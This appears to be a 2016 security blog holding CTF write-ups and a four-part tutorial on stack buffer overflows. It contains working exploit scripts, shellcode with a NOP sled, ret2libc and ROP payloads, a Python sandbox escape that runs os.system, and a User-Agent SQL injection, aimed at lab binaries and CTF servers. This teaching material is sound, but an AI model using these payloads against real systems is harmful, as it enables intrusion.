Monday, 21 November 2016

Qiwi ctf write-ups cont.

Standard
As I said, here is the rest of the tasks.

PWN 100_5

Description:
nc 138.201.98.60 3333 
binary
Looking at the binary, it turns out to be a server that accepts commands LIST, LAST, HELP and one more command that is said to be a secret one, but the prompt that invited us when connecting didn't give any hint about what it can be, looking at it in disassembler and searching with strings that were printed to us we can quickly navigate to part of the code that is responsible for determining which command has been sent. Command recognition is implemented by calculating hash out of a command and comparing with hard coded value in the binary.
At this point we can do one of two things, reverse hashing algorithm and look for a way to find out what the command is.
The other approach is to just use some brute force :D
You can guess which approach I've chosen looking at the code below:

#!/usr/bin/env python
import telnetlib
import string
import itertools
import time
tb = telnetlib.Telnet("localhost", 3333)
print(tb.read_until(b">"))
i=1
counter = 0
while True:
    for guess in itertools.product(string.lowercase, repeat=i):
        tb.write(bytes(guess) + b"\n")
        out = tb.read_until(b">")
        if "notrealofc" in out:
            print(guess)
            break
        else:
            counter +=1
        if counter % 500 == 0:
            print("Counter: %d" % counter)
        time.sleep(0.001)
    i+=1

Binary was printing "notrealofc" when you have put the right command.
If you look closely at this code, you can see there is a mistake, guess is actually a tuple not a string, I've forgot to join the result of itertools.product, the funny thing is that it worked, my final answer was: '("e","u","s","h")' - I guess the hashing algorithm was vulnerable to collisions big time!

PWN 100_1

Description:

My litle easy BOF  
nc 138.201.98.42 4000
After connecting to the server we could put some input and after that stack was printed to us with return address from function marked. It was tho most basic task of executing our own payload from stack, addresses of stack weren't changing between connections. (For checking what protections are turned on in the binary you can use this tool, pwndbg has such capabilities as well)
When we knew what is the challenge about, writing exploit using pwntools was a piece of cake. (for beginners I recommend my little guide about binary exploitation here)

#!/usr/bin/env python3
from pwn import *
context(arch='i386', os='linux')
r = remote('138.201.98.42', 4000)
r.send("A"*144)
r.send(struct.pack("I", 0xffffd080))
r.send(asm(shellcraft.sh()))
r.interactive()

I really recommend looking a bit into it, it's a really great tool for not only ctfs but also shellcrafting etc., maybe I will write about it a bit more one day.
(I can't post the flags because servers are down and I didn't save them anywhere, you have to believe me that it worked)

Saturday, 19 November 2016

Qiwi ctf write-ups

Standard
I did participate in the qiwictf that was held on 17.11-18.11 but I had chance to play for one day only, here are some tasks that I've managed to solve.

PWN 100_4

Description:
My_first_calc… sorry... you can use it in 138.201.98.43:4000
After netcat-ing to the given address we can see calculator that allows us to make simplest arithmetic operations.

==================================================
===========Welcome to my first calculator=========
==================================================
example use:
>2+2*2
>exit

>0/0         
Wrong data!
>2+2
4
>3/0
Wrong data!
>[]*45
[]
>[7]*70     
[7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7]
>

After some fun with it you can see that it looks like it uses python's eval function to give us an answer
But we cannot import anything. There is some whitelisting going on, first thing I assumed that they just removed __builtins__. It came out to be true.
The simplest trick is to do something like:

>[].__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').system("ls -la")
total 36
dr-xr-xr-x 3 user user 4096 Nov 18 12:40 .
drwxr-xr-x 3 root root 4096 Oct 28 16:37 ..
-rw------- 1 user user 1244 Nov 18 11:01 .bash_history
-r--r--r-- 1 user user  220 Oct 28 16:37 .bash_logout
-r--r--r-- 1 user user 3515 Oct 28 16:37 .bashrc
-r--r--r-- 1 root root   16 Nov 17 12:17 flag
-r--r--r-- 1 user user  675 Oct 28 16:37 .profile
drwxr-xr-x 2 user user 4096 Nov 18 12:40 .ssh
-r-xr-xr-x 1 user user  339 Nov 11 11:15 task
0
>[].__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').system("cat flag")
Uo5RbQxVbdWquqJ
0

Which gives us the flag and 100 points! To learn more about python sandbox, and tricks used to escape, I recommend Gynvael's post about this topic.

Reverse 100_2

Description:
I have a snake. CrackMe!
So we were supplied with a file "task.pyc". After running file command on it we can see it's a python2.7 .pyc.
I've used uncompyle2 to uncompile (surprise!) the file, output:

#Embedded file name: task.py
import marshal
src = 'YwAAAAADAAAAGAAAAEMAAABz7wAAAGQBAGoAAGcAAGQCAGQDAGQEAGQFAGQGAGQHAGQIAGQJAGQKAGQLAGQMAGQNAGQOAGQPAGQMAGcPAERdHAB9AAB0AQB0AgB8AACDAQBkEAAXgwEAXgIAcToAgwEAfQEAdAMAZBEAgwEAfQIAfAIAfAEAawIAcuYAZAEAagAAZwAAZBIAZBMAZBQAZBUAZBYAZBcAZBgAZBkAZBoAZBsAZBwAZB0AZB4AZAsAZBwAZB8AZAMAZB0AZAgAZB4AZCAAZCEAZxYARF0VAH0AAHwAAGoEAGQiAIMBAF4CAHHGAIMBAEdIbgUAZCMAR0hkAABTKCQAAABOdAAAAAB0AQAAAF50AQAAADR0AQAAAEt0AQAAAGl0AQAAAC50AQAAAC90AQAAAE50AQAAAGp0AQAAAFB0AQAAAG90AQAAAD90AQAAAGx0AQAAADJ0AQAAAFRpAwAAAHMJAAAAWW91IHBhc3M6dAEAAABzdAEAAAB5dAEAAABudAEAAAB0dAEAAAA6dAEAAAB7dAEAAAB3dAEAAABxdAEAAABFdAEAAAA2dAEAAABmdAEAAABYdAEAAAB1dAEAAABhdAEAAAAxdAEAAAB9dAUAAABST1QxM3MFAAAATm8gOigoBQAAAHQEAAAAam9pbnQDAAAAY2hydAMAAABvcmR0CQAAAHJhd19pbnB1dHQGAAAAZGVjb2RlKAMAAAB0AQAAAGV0AwAAAHRtcHQGAAAAcGFzc3dkKAAAAAAoAAAAAHMHAAAAdGFzay5weVIcAAAAAgAAAHMKAAAAAAFfAQwBDAFvAQ=='.decode('base64')
code = marshal.loads(src)
exec code
+++ okay decompyling task.pyc

We can see some obfuscation going on, let's run the code and see what is does.

$ python task.pyc 
You pass:something
No :(
$ 

As we can see it needs a password to print the flag, that means the password(and flag) is probably hidden inside the code, let's uncompyle some more. Our src variable in code above is actually a code object, we can make a new .pyc out of that.

import py_compile, time
src = 'YwAAAAADAAAAGAAAAEMAAABz7wAAAGQBAGoAAGcAAGQCAGQDAGQEAGQFAGQGAGQHAGQIAGQJAGQKAGQLAGQMAGQNAGQOAGQPAGQMAGcPAERdHAB9AAB0AQB0AgB8AACDAQBkEAAXgwEAXgIAcToAgwEAfQEAdAMAZBEAgwEAfQIAfAIAfAEAawIAcuYAZAEAagAAZwAAZBIAZBMAZBQAZBUAZBYAZBcAZBgAZBkAZBoAZBsAZBwAZB0AZB4AZAsAZBwAZB8AZAMAZB0AZAgAZB4AZCAAZCEAZxYARF0VAH0AAHwAAGoEAGQiAIMBAF4CAHHGAIMBAEdIbgUAZCMAR0hkAABTKCQAAABOdAAAAAB0AQAAAF50AQAAADR0AQAAAEt0AQAAAGl0AQAAAC50AQAAAC90AQAAAE50AQAAAGp0AQAAAFB0AQAAAG90AQAAAD90AQAAAGx0AQAAADJ0AQAAAFRpAwAAAHMJAAAAWW91IHBhc3M6dAEAAABzdAEAAAB5dAEAAABudAEAAAB0dAEAAAA6dAEAAAB7dAEAAAB3dAEAAABxdAEAAABFdAEAAAA2dAEAAABmdAEAAABYdAEAAAB1dAEAAABhdAEAAAAxdAEAAAB9dAUAAABST1QxM3MFAAAATm8gOigoBQAAAHQEAAAAam9pbnQDAAAAY2hydAMAAABvcmR0CQAAAHJhd19pbnB1dHQGAAAAZGVjb2RlKAMAAAB0AQAAAGV0AwAAAHRtcHQGAAAAcGFzc3dkKAAAAAAoAAAAAHMHAAAAdGFzay5weVIcAAAAAgAAAHMKAAAAAAFfAQwBDAFvAQ=='.decode('base64')
with open("new.pyc", "wb+") as f:
    f.write(py_compile.MAGIC)
    py_compile.wr_long(f, long(time.time()))
    f.write(src)

This gives us correct .pyc that we can uncompile using uncompyle2 new.pyc

#Embedded file name: task.py
tmp = ''.join([ chr(ord(e) + 3) for e in ['^',
 '4',
 'K',
 'i',
 '.',
 '/',
 'N',
 'j',
 'P',
 'o',
 '?',
 'l',
 '2',
 'T',
 '?'] ])
passwd = raw_input('You pass:')
if passwd == tmp:
    print ''.join([ e.decode('ROT13') for e in ['s',
     'y',
     'n',
     't',
     ':',
     '{',
     'w',
     'q',
     'E',
     '6',
     'f',
     'X',
     'u',
     'o',
     'f',
     'a',
     '4',
     'X',
     'N',
     'u',
     '1',
     '}'] ])
else:
    print 'No :('
+++ okay decompyling new.pyc 

We just take the code that prints the flag and run it, giving us the flag:
flag:{jdR6sKhbsn4KAh1}

ponylog - Web 100 

Description:
HOW CAN HE DO THAAT? Web-page
 The site was counting how many times we visited it, the question is how does it do that, the first thing I've checked were cookies, but there were none of those. Next thing that popped into my mind was user-agent, and it turned out to be bull's eye. There was an sql incjection in the user-agent field.


But something was wrong, after few minutes and some tries I realized that our query was ROT13-ed first. Error was suggesting sqlite, so I've tried to pull out some info from sqlite_master database, where I found table name. Final query was
' union select ua from logs-- 
The result was huge, because every activity was logged(some people were using sqlmap which ended up filling the database with thousands of queries). I didn't really knew if flag is inside this table, and there was no flag format specified, so I just searched for 'flag' with hopes for the best.


I've tried what I found
FLAG_OMG_REALLY_SIMPLE_LOL,RIGHT?
And that was actually the flag.

I've managed to solve one or two more tasks in the time that I had for this ctf for which I will probably upload write-ups in the near future.

Sunday, 23 October 2016

Part 4 | Stack-based Buffer Overflow exploitation to shell by example

Standard
This is the next part of guide about exploiting buffer overflows, this time we will cover return-to-libc but for x64 architecture as well as just a little bit of Return Oriented Programming, generally what is the idea behind it, going into details in the next parts.

8. x86_64 / x86 differences

We are going to use the same source code again, mostly because I think that in learning it's good to have as little variables changing at the same time as possible so you can focus on things that really matter.
To know what we need to change in our 32 bit version to adopt it for 64bit architecture, let's look again at Agner's Fog paper on calling conventions(page 16/17) or at wikipedia. As you can see, it turns out that on the newer architecture 6 arguments are passed by registers(Linux) and following are pushed on the stack. I explained how calling a function works in more detail in part 1 of this series.

What it means for us, is that we can't push argument to system() function on the stack. We need it inside register, in rdi to be exact. To be able to do so, we need something called a gadget.
Gadget is just instruction or set of instructions inside the mapped memory sections of the executable that will allow us to do something really basic, like putting a value inside rdi.
You can use 'ropper' or 'rop' command inside pwndbg to find some of the gadgets(use it while running the binary, because if you don't, scripts won't be able to find all they could)

Gadgets found by ropper when executable is not running, as you can see by addresses, all of those are only inside binary code itself, and not for example from dynamically loaded library.

We are going to use only one gadget for our purposes, pop rdi; ret;  - on my system it's at 0x400703 (as you can see on the image above). So let's see want we are trying to achieve:

1. Stack layout (how to find address of "sh" and system() function addresses, check part3):
 |JUNK| eip overwritten with 0x400703 | &"sh" (0x7ffff7a1fe70) | *system (0x7ffff7a53380) |

2. What's going to happen:
0x400703 → pop rdi ( we are popping "sh" from the stack into rdi, after this operation, top of the stack points to pointer to system())
0x400704 → ret (ret instruction takes address from top of the stack and jumps to it)

0x7ffff7a53380 → system("sh")
Using those gadgets that very often end with ret instruction is called Return Oriented Programming, this technique allows you to bypass DEP/NX and run any code you like, but not in straightforward fashion but through jumping to gadgets and returning every time you want to do even the simplest thing, like popping to one of the registers. Tool that I used to find gadgets is even capable of finding ROP-chains that gives you shell, you can try that and see how well it performs(it's not perfect).

9. Exploit them all!

Again, let's see how example of an exploit would look like:

import struct

def dq(v):
    return struct.pack("Q", v)

buf = "A" * 1032
buf += dq(0x400703)  # pop rdi; ret
buf += dq(0x7ffff7a1fe70) # pointer to "sh"
buf += dq(0x7ffff7a53380) # system()
with open("payload", "wb") as f:
    f.write(buf)

Exploit is really similar to what we have seen before. Generating payload with it and providing it to vulnerable binary gives us shell again. Remember that we disabled ASLR for this so if you can't make it work, that's probably why, also keep in mind that those addresses will vary across versions of libc.

Thursday, 29 September 2016

Part 3 | Stack-based Buffer Overflow exploitation to shell by example

Standard
This is continuation of my guide on binary exploitation, in this part we are going to cover return-to-libc attack which was invented to defeat DEP/Non executable stack. As you can remember, we have used the fact that stack is executable in the previous part of this guide.

5. DEP/NX

Today all of the standard software is compiled without executable stack, this is a protection that was introduced as a response to the attack that I've showed you the last time. Do you recall '-z execstack' option? If we were to use the last exploit on binary which is not compiled with that flag, we wouldn't get shell at all. Processor when jumping on to the stack would know that this memory shouldn't be executed, this is rw(read and write) section only.
Cybersecurity is a big war, when there is a protection in place, after some time someone finds a way around it, so in this post I'll show you what the bad guys figured out to exploit stack based buffer overflow even when DEP/NX is turned on.

For example source code we will use exactly the same one as previously.
Only compilation parameters will change, we are goin to remove execstack flag and add '-m32' switch, because I'll show you how to bypass NX on x86 (32 bit):

gcc exploit102.c -o exploit102 -fno-stack-protector -m32

Why 32bit vs 64bit matter at all? Isn't it all the same thing when it comes to exploitation?
Turns out that not really, the reason behind that are different calling conventions in those architectures. I've already linked a great paper by Agner Fog where you can find (16th) page called 'Function calling conventions'. Looking at the table provided it's easy to spot the differences. In C programming language  'stdcall' is the call that we are interested in, it's a convention in which all the arguments are pushed on to the stack.
So stack after calling a function with following signature
    void function(int a, int b, int c);
would look like this:
    | ebp | eip | c | b | a | ...
We are going to use this feature in our exploit.

6. Return-to-libc 

Knowing that we cannot execute our code from the stack, we can use something called return-to-libc attack, which is simplified version of Return Oriented Programming(ROP).
In short, we want to override eip with address of some function from libc(standard C library) and pass arguments to it using stack.

Let's say we want to return to system() function.
( Quick look into gdb and we know what the address of system() is)


So for this to happen, our stack must be overwritten to look like so:
|   ebp   | eip | c | b | a | ...
|  JUNK | 0xf7e28d80 | JUNK(new eip) | argv[1] | ...

What will happen is that after function returns, it will return to system() function which needs one argument from the stack so it will pop that from it. If we make it valid argument, call will be successful.
Because we are not calling our new function with call instruction, we need to supply next eip on the stack by ourselves to keep offsets to the arguments right.
Our goal will be to call:
    system("/bin/sh"); or system("sh");

We will use latter option (I leave first one as exercise for the reader (Tip: Put it on the stack or inside env variable in case of self exploitation)).
For that we will use very convenient feature that pwndbg has of finding sequence of bytes inside a binary.


We got everything we need:
system(): 0xf7e28d80
'sh': 0xf7dfc5f7

You should already know how to find out which bytes of overflown buffer are landing inside eip. If you don't remember check out part 1.

7. Another exploit!


import struct

def dd(v):
    return struct.pack("I", v)
 
buf = ""
buf += dd(0xf7e28d80)
buf += dd(0xdeadbeef)
buf += dd(0xf7dfc5f7)
 
with open("payload", "wb") as f:
    f.write("A" * 1036)
    f.write(buf)

Take note of dq -> dd change, that is caused by the pointer size change from quad word to double word (8 bytes -> 4 bytes).

And we got shell again! :)

Exercise: try to return from shell cleanly, without segmentation fault error. (Tip: what is the return address of system() call, how about calling exit() after all ?).

And there you have it, you have survived another part of this tutorial, good job!

Wednesday, 28 September 2016

Part 2 | Stack-based Buffer Overflow exploitation to shell by example

Standard
In part 1 we've covered basic mechanisms of exploitation, but there is one caveat about example from part 1, that is we are not executing our code, but only changing the code path to run function that is already inside the binary.
This sometimes can be enough, but most of the times, we would like to execute our own code to get shell or remote shell, and that's exactly what we will cover in this part.
Attack that is shown in this part of the guide is historically the first thing that was used to exploit buffer overflows. Our goal is to put the code on the stack and redirect execution of the process to that region where it is placed. Because this is very old attack, there were implemented mitigations to prevent it from happening. This is why we are going to disable protection that makes the stack not executable section of memory.

3. Writing shellcode

Let's use modified example vulnerable code from part 1, everything stays the same but we don't have shell spawning function.

#include <stdio.h>
#include <string.h>

void exploitMe(FILE *f)
{
    char buf[1024];
    fread(buf, 1, 2048, f);
    puts(buf);
}

void main(int argc, char **argv)
{
    if (argc != 2)
    {
        puts("usage: exploit101 [filename]");
        return;
    }
    FILE *f = fopen(argv[1], "rb");
    if (f == NULL)
        return;
    exploitMe(f);
    fclose(f);
}


This time we are going to compile without stack cookies and with executable stack.

gcc exploit101.c -o exploit101 -fno-stack-protector -z execstack

Another thing for this to work (we will cover advanced techniques later on) is that we need to disable ASLR:


echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

We want a snippet of code that is going to spawn shell. The problem is that we can't write this in C or Python because we are going to put the code inside the memory and then point to it with rip to run it. So we need it already compiled in a form that processor will understand it directly.
Code that is written in just bytes is often called shellcode which originated from payloads that spawned shells and were in this exact form.
How to write a shellcode?
There are few options, metasploit is one of them, and is probably the easiest one as well, msfvenom is part of metasploit that is capable of generating shellcodes. Other option would be to type in google something along those lines: 'x64 shellcode linux' and trust that this:

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

is really a shell spawning code (which it probably is).
Because I'm a trusty guy I'm going to assume that this shellcode is indeed correct and that it's gonna spawn a shell. We got our code, now we just need to force it's execution.

To do this we want the corresponding values on stack to look like this:
| buf | rbp | rip | ... | ...
                   |
                   v
|   JUNK  | ptr to shellcode | shellcode |

Let's check what is the address where our shellcode is going to end up.


$ gdb ./exploit101
pwndbg> b exploitMe
pwndbg> r file
pwndbg> n

Repeating 'n' till we get to ret can tell us what is the rsp value when returning from function, one address after that is going to start our code. Because stack is growing towards lower numbered addresses. We need to overrite rip with 0x7fffffffdae8 + 0x8 in this case.

4. Stack exec exploit

Exploit should be generated by running this code:


import struct, os

def dq(v):
    return struct.pack("Q", v)
with open("payload", "wb") as f:
    f.write("A" * 1032)
    f.write(dq(0x7fffffffdaf0))
    f.write("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

Running it under gdb gives us shell (yaaaaaay!).

 5. gdb is a liar

We were able to exploit vulnerability under gdb, let's see if we can achieve the same in normal circumstances:


It didn't work, the reason is that gdb is adding additional information in the memory which causes some offsets to change inside binary, this is something that we need to be aware when tracing process with gdb!
The remedy in this case is pretty simple, we are going to use something that is widely known as NOP sled. It's a technique that makes it more likely to hit our exploit with approximate address value of our exploit. Making big chunk of No Operation(processor doesn't do anything one them just goes to the next instruction) instructions before our exploit allows us to land anywhere in the NOP sled and still be able to execute our exploit. In addition to that, we are going to add some to our address.

This results in(nop is 0x90 under x86 architecture family):


import struct, os

def dq(v):
    return struct.pack("Q", v)
with open("payload", "wb") as f:
    f.write("A" * 1032)
    f.write(dq(0x7fffffffdba0))
    f.write("\x90"*400)
    f.write("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

And test run!


This time, everything went as expected, we got a shell. Just for reference let's check how it looks in the memory.

NOP sled
Exploit
Take note of the addresses which do not grow linearly near the NOP sled.

That's everything I've got for part 2 of this tutorial. In the next part we will cover a return-to-libc attack and a bit of ROP. Stay tuned!
Part 3

Tuesday, 27 September 2016

Part 1 | Stack-based Buffer Overflow exploitation to shell by example

Standard
There are a lot of tutorials out there about exploitation of memory corruption bugs, but I struggled to find step-by-step ones, that would start with simplest examples possible.
So I figured that while learning more advanced techniques of exploitation I can dump my knowledge about those which I already know.
OK, so let's start from the ground up!

0. Prerequisites 

In this tutorial I'm going to use a few tools:
- gdb (with pwndbg extension - https://github.com/pwndbg/pwndbg) - writing exploits means spending a lot of time in this tool, I recommend learning it as fast as possible
- metasploit
- python! - gr8 for creating tools/payload generating scripts etc.

Other than that, a little bit of assembly knowledge would be really helpful.
http://www.agner.org/optimize/calling_conventions.pdf - document with calling conventions for a lot of architectures, we are gonna look inside a few times.

We are going to assume that we are working on x86_64(Linux) architecture if not stated otherwise.

Be aware that if you really want to learn this stuff, you have to do all of those steps by yourself also, otherwise there won't be much that you will get from it.

1. Finding a bug and information gathering

For the simplicity of this guide, we will stick to C programming language for all the examples.
So suppose you found a bug, by fuzzing, code review or maybe you found some crash reports laying around and after further inspection it looks like there is some vulnerable code.
Suppose we have the following:


#include <stdio.h>
#include <string.h>

// TODO: REMOVE THIS FUNCTION
void execute_bash()
{
    system("/bin/sh");

}
void exploitMe(FILE *f)
{
    char buf[1024];
    fread(buf, 1, 2048, f);
    puts(buf);
}

void main(int argc, char **argv)
{
    if (argc != 2)
    {
        puts("usage: exploit101 [filename]");
        return;
    }
    FILE *f = fopen(argv[1], "rb");
    if (f != NULL){
        exploitMe(f);
        fclose(f);
    }
}

As we can quickly tell, function exploitMe is doing something really not cool.
Buffer 'buf' with 1024 bytes that are allocated on the stack could be overflown with any file with bigger content than 1024.
Of course this example is the kind of code you probably would never see in real life (I hope so at least) but it will serve well for our purposes.
Our goal would be to run execute_sh function, to do this, we need to somehow redirect execution of the program to section in memory where this function is kept.

Before that, let's compile our source code so later on we can attach a debugger and see what's going on in the memory!

gcc exploit100.c -o exploit100 -fno-stack-protector

Compiling it with '-fno-stack-protector' stops compiler from putting stack canaries inside our executable, don't worry about it too much, we will cover it later.

Stack layout

According to what we can see in the code above, stack layout in the moment of calling fread() should look like this:
| buf | rbp | rip | ... | ...

Stack? rip? rbp? wtf?
Let me explain everything!

Calling a function

Let's start with calling a function, what really happens when one does exploitMe() or calls any other function?
Every process has a place in memory that is called the stack, stack works exactly how it sounds, you can push something on the stack or pop something from the stack(btw. this is exactly what assembly instructions 'pop' and 'push' do).
One could ask why do we need this at all? 
Processor has something around 15 general purpose registers that could be used for everything, but every piece of information that needs to be stored after that 15, must go somewhere, if it's not a constant and it's not dynamically allocated by malloc() for example, it's gonna most likely end up on the stack.
One thing to note here is that stack is growing towards lower numbered addresses.
Stack has also another use, every time a function is called, a stack frame is pushed on the stack.
That frame consists of as follows: 
  • arguments of a function
on x86_64 - 6 first arguments passed by registers, rest on the stack.
on x86 - all arguments are pushed on the stack.
you can check details and other architectures conventions in this paper
  • rip - it's a register(instruction pointer) that points to current place in the memory that is being executed, this value must be saved, so processor knows where to come back after the function returned and it's the thing that we would like to change to alter execution path!
  • rbp - register(base pointer) that points to start of the previous stack frame (not important for us).

After stack frame is pushed, inside of a function, stack is used for local variables like the one we can see in the example code, so for example 'buf' would be pushed on the stack.

Stack layout

Going back to this:
| buf | rbp | rip | ... | ...
As we can see, writing past the buf buffer can overflow to rbp and then to rip, if we could control what we overflow rip with, we could return not to main, but to another place in memory, in our case execute_sh() looks just fine!

Crashing and bashing

Let's find out if we really can overwrite rip, and if so which byte of our input does that, so we would know which bytes to substitute with the address of execute_sh().

$ python -c 'print "A"*1200' > file
$ ./exploit100 file
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

Program is crashing as we expected it to do, for more information let's use gdb:

$ gdb ./exploit100
pwndbg> r file

If you use pwndbg you should probably see something along those lines:


Processor tried to go to 0x4141414141414141 returning from function(0x41 is ascii for "A"), but there is nothing there so SEGMENTATION FAULT was thrown.
Next step would be to find out, to which bytes of our input process is actually returning.
We can use metasploits pattern_create.rb or do it manually.
I will show you the latter:

python -c 'print "A"*1016 + "B"*8 + "C"*8 + "D"*8 + "E"*8 + "F"*8' > file

After running it under gdb we can see this:


As we can see under current instruction ret - return address was 0x4444444444444444 which means that the place where we put "D"*8 is the place where we should put our function pointer, so let's find out it's value.

To find exact place in memory where we want to return we are going to use gdb again.


As we can see our function is at 0x40064d (the function inside source code actually is called execute_sh not execute_bash, my bad, sorry)

2. Exploit

Now that we understood everything that is happening under the hood we can write some code for exploitation.
Our payload generator would like so:

import struct

def dq(v):
    return struct.pack("Q", v)
with open("payload", "wb") as f:
    f.write("A" * 1032)
    f.write(dq(0x40064d))

struct.pack() is a function that takes int value and transforms it into binary representation of that value inside memory("Q" means quad word little endian - 8bytes with least significant byte first)


$ python payloadmaker100.py
$ ./exploit100 payload
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM @
$ 
^- shell spawned from our proccess

That's how we pwned our first binary!
This was part 1 of guide on exploitation of stack-based buffer overflows, started with simplest example there is more to come in next parts!
Part 2

Thursday, 22 September 2016

Magic behind python WAT moments

Standard

So once upon a time you find that thing in your programming language that behaves not really how you would expect it to.
This post will be about those moments when you are programming in python.

1. 'is' on small ints

This is one of the most popular one, let's say you write something along those lines (which you probably never should actually, I will explain why in a sec):

>>> a = 5

>>> b = 5

>>> a is b

True

Okay, that's seems reasonable, 5 is definitely a 5, let's try the next one.

>>> a = 300

>>> b = 300

>>> a is b

False

wat? This seems pretty inconsistent... But why?
For that we will have to look inside python implementation!
(This one is from python 3.5.2):

Objects/longobject.c

#ifndef NSMALLPOSINTS
#define NSMALLPOSINTS 257
#endif
#ifndef NSMALLNEGINTS
#define NSMALLNEGINTS 5
#endif

...

/* Small integers are preallocated in this array so that they
   can be shared.
   The integers that are preallocated are those in the range
   -NSMALLNEGINTS (inclusive) to NSMALLPOSINTS (not inclusive).
*/
static PyLongObject small_ints[NSMALLNEGINTS + NSMALLPOSINTS];


Uh, now everything makes sense! Integers between -5 and 256 are kept in an array for quick access.
So with 'is' operator that checks if tested objects are the same one, it's true only for -5  <= x <= 256.
That's why I said you shouldn't use this code in the first place(I've seen it a few times), it's misuse of 'is' operator which in this case should be replaced with '=='.

2. type comparison

Let's play with REPL just for a bit longer.

>>> 5 < "a"
True

>>> True > "a"
False

>>> {} > 5
True  

At a glance it doesn't make much sense, but fast lookup into documentation tells us everything we need to know.
CPython implementation detail: Objects of different types except numbers are ordered by their type names; objects of the same types that don’t support proper comparison are ordered by their address.

Note: This is only true for Python 2.*, Python 3.* documentation states this:
